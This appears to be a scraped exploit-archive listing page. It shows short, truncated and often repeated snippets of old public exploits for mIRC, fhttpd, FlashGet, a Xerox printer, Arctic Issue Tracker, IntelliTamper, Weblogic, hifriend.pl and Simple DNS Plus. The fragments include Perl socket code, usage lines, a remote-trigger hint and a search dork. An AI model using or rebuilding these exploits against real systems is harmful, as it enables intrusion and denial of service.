mIRC 6.34 - Remote Buffer Overflow

!/usr/bin/perl mIRC 6.34 Remote Buffer Overflow Exploit Exploit by SkD skdrat hotmail com ---------------------------------------- A day's work of debugging and looking at mIRC. Tested on Windows XP SP3 English and Windows Vista SP0. Credits to securfrog for publishing the PoC. Author has no...

mIRC 6.34 - Remote Buffer Overflow

mIRC 6.34 - Remote Buffer Overflow !/usr/bin/perl mIRC 6.34 Remote Buffer Overflow Exploit Exploit by SkD skdrat hotmail com ---------------------------------------- A day's work of debugging and looking at mIRC. Tested on Windows XP SP3 English and Windows Vista SP0. Credits to securfrog for...

mirc-overflow.txt

Mirc 6.34 Remote Buffer Overflow This poc allow you to own the 2 first EDI & EDX bytes. To become remote, add a simple document.location.href=irc://server.com/... in some html page use IO::Socket; sub sock my $sock=new IO::Socket::INET Listen = 1, LocalAddr = 'localhost', LocalPort = 6667, Proto ...

mIRC 6.34 - Remote Buffer Overflow (PoC)

mIRC 6.34 - Remote Buffer Overflow PoC Mirc 6.34 Remote Buffer Overflow This poc allow you to own the 2 first EDI & EDX bytes. To become remote, add a simple document.location.href=irc://server.com/... in some html page use IO::Socket; sub sock my $sock=new IO::Socket::INET Listen = 1, LocalAddr ...

mIRC 6.34 - Remote Buffer Overflow (PoC)

Mirc 6.34 Remote Buffer Overflow This poc allow you to own the 2 first EDI & EDX bytes. To become remote, add a simple document.location.href=irc://server.com/... in some html page use IO::Socket; sub sock my $sock=new IO::Socket::INET Listen = 1, LocalAddr = 'localhost', LocalPort = 6667, Proto ...

fhttpd 0.4.2 un64() Remote Denial of Service Exploit

No description provided by source. !/usr/bin/perl Jeremy Brown [email protected]/http://jbrownsec.blogspot.com http://www.fhttpd.org / fhttpd-0.4.2.tar.gz WARNING: VERY OLD Program received signal SIGSEGV, Segmentation fault. 0x0804b42d in un64 s=0x809b2d2 "" at util.cc:69 69 ifc2!=-2 c3=rptr3...

fhttpd 0.4.2 un64() Remote Denial of Service Exploit

Exploit for linux platform in category dos / poc ==================================================== fhttpd 0.4.2 un64 Remote Denial of Service Exploit ==================================================== !/usr/bin/perl Jeremy Brown email protected/http://jbrownsec.blogspot.com...

fhttpd 0.4.2 - un64() Remote Denial of Service

fhttpd 0.4.2 - un64 Remote Denial of Service !/usr/bin/perl Jeremy Brown [email protected]/http://jbrownsec.blogspot.com http://www.fhttpd.org / fhttpd-0.4.2.tar.gz WARNING: VERY OLD Program received signal SIGSEGV, Segmentation fault. 0x0804b42d in un64 s=0x809b2d2 "" at util.cc:69 69 ifc2!=-...

fhttpd 0.4.2 - 'un64()' Remote Denial of Service

!/usr/bin/perl Jeremy Brown [email protected]/http://jbrownsec.blogspot.com http://www.fhttpd.org / fhttpd-0.4.2.tar.gz WARNING: VERY OLD Program received signal SIGSEGV, Segmentation fault. 0x0804b42d in un64 s=0x809b2d2 "" at util.cc:69 69 ifc2!=-2 c3=rptr3; else c3=-2; gdb bt 0 0x0804b42d i...

FlashGet 1.9.0.1012 (FTP PWD Response) BOF Exploit (safeseh)

Exploit for unknown platform in category remote exploits ============================================================ FlashGet 1.9.0.1012 FTP PWD Response BOF Exploit safeseh ============================================================ !/usr/bin/perl ksOSe 08/17/2008 bypass safeseh using...

Xerox Phaser 8400 (reboot) Remote Denial of Service Exploit

No description provided by source. !/usr/bin/perl carved-out by: crit3rion, just making th3 world a b3tt3r plac3! XeroxRemoteDoS.20080801.ver01 tanx to dr0pz0N3 for reminding me to close my $&! s0ck3t Make: Xerox Model: Phaser 8400 Firmware: 03/03/2004 What's the deal? Apparently, if you send an...

Xerox Phaser 8400 - Remote Reboot (Denial of Service)

Xerox Phaser 8400 - Remote Reboot Denial of Service !/usr/bin/perl carved-out by: crit3rion, just making th3 world a b3tt3r plac3! XeroxRemoteDoS.20080801.ver01 tanx to dr0pz0N3 for reminding me to close my $&! s0ck3t Make: Xerox Model: Phaser 8400 Firmware: 03/03/2004 What's the deal? Apparently...

Arctic Issue Tracker 2.0.0 (index.php filter) SQL Injection Exploit

No description provided by source. !/usr/bin/perl use IO::Socket; print q ----------------------------------------------- Arctic Issue Tracker v2.0.0 exploit by ldma SubCode use: arctic.pl server dir sample: $perl arctic.pl localhost /arctic/ ----------------------------------------------- ;...

IntelliTamper 2.07 (server header) Remote Code Execution Exploit

Exploit for unknown platform in category remote exploits ================================================================ IntelliTamper 2.07 server header Remote Code Execution Exploit ================================================================ !/usr/bin/perl IntelliTamper 2.07 Remote Code...

Arctic Issue Tracker 2.0.0 - filter SQL Injection (2)

Arctic Issue Tracker 2.0.0 - filter SQL Injection 2 !/usr/bin/perl use IO::Socket; print q ----------------------------------------------- Arctic Issue Tracker v2.0.0 exploit by ldma SubCode use: arctic.pl server dir sample: $perl arctic.pl localhost /arctic/...

hifriend-xploit.txt

!/usr/bin/perl =pod ---------------------------- ------Header Injection------ ---------------------------- Script: hifriend.pl Vendor: Hibyte Software Version: The free one you get from many webpages Dork: "hifriend.pl" + "cgi-bin" Found & coded by Perforin www.DarK-CodeZ.com www.vx.perforin.de.v...

Bea Weblogic Apache Connector Code Exec / Denial of Service Exploit

No description provided by source. // Bea Weblogic -- Apache Connector Remote Exploit +-1day // Should stack break latest Windows Server 2003 address space randomization // BIG THANKS TO // "dong-hun you"Xpl017Elz in INetCop - for his paper // "Title: Advanced exploitation in exec-shield Fedora...

Bea Weblogic Apache Connector Code Exec / Denial of Service Exploit

Exploit for unknown platform in category remote exploits =================================================================== Bea Weblogic Apache Connector Code Exec / Denial of Service Exploit =================================================================== // Bea Weblogic -- Apache Connector...

Bea Weblogic Apache Connector - Code Execution / Denial of Service

// Bea Weblogic -- Apache Connector Remote Exploit +-1day // Should stack break latest Windows Server 2003 // BIG THANKS TO // "dong-hun you"Xpl017Elz in INetCop - for his paper // "Title: Advanced exploitation in exec-shield Fedora Core case study" // His technique works fine against Windows 200...

sdns-remote-dos.pl.txt

!/usr/bin/perl Simple DNS Plus 5.0/4.1 Exploit written by Exodus. http://www.blackhat.org.il use IO::Socket; if@ARGV "; $sock = IO::Socket::INET-newPeerAddr = "$ARGV0:$ARGV1", Proto = 'UDP' || die"Cant connect DNS server"; $address = $ARGV0; $trans = pack"H4","1337"; $flags =...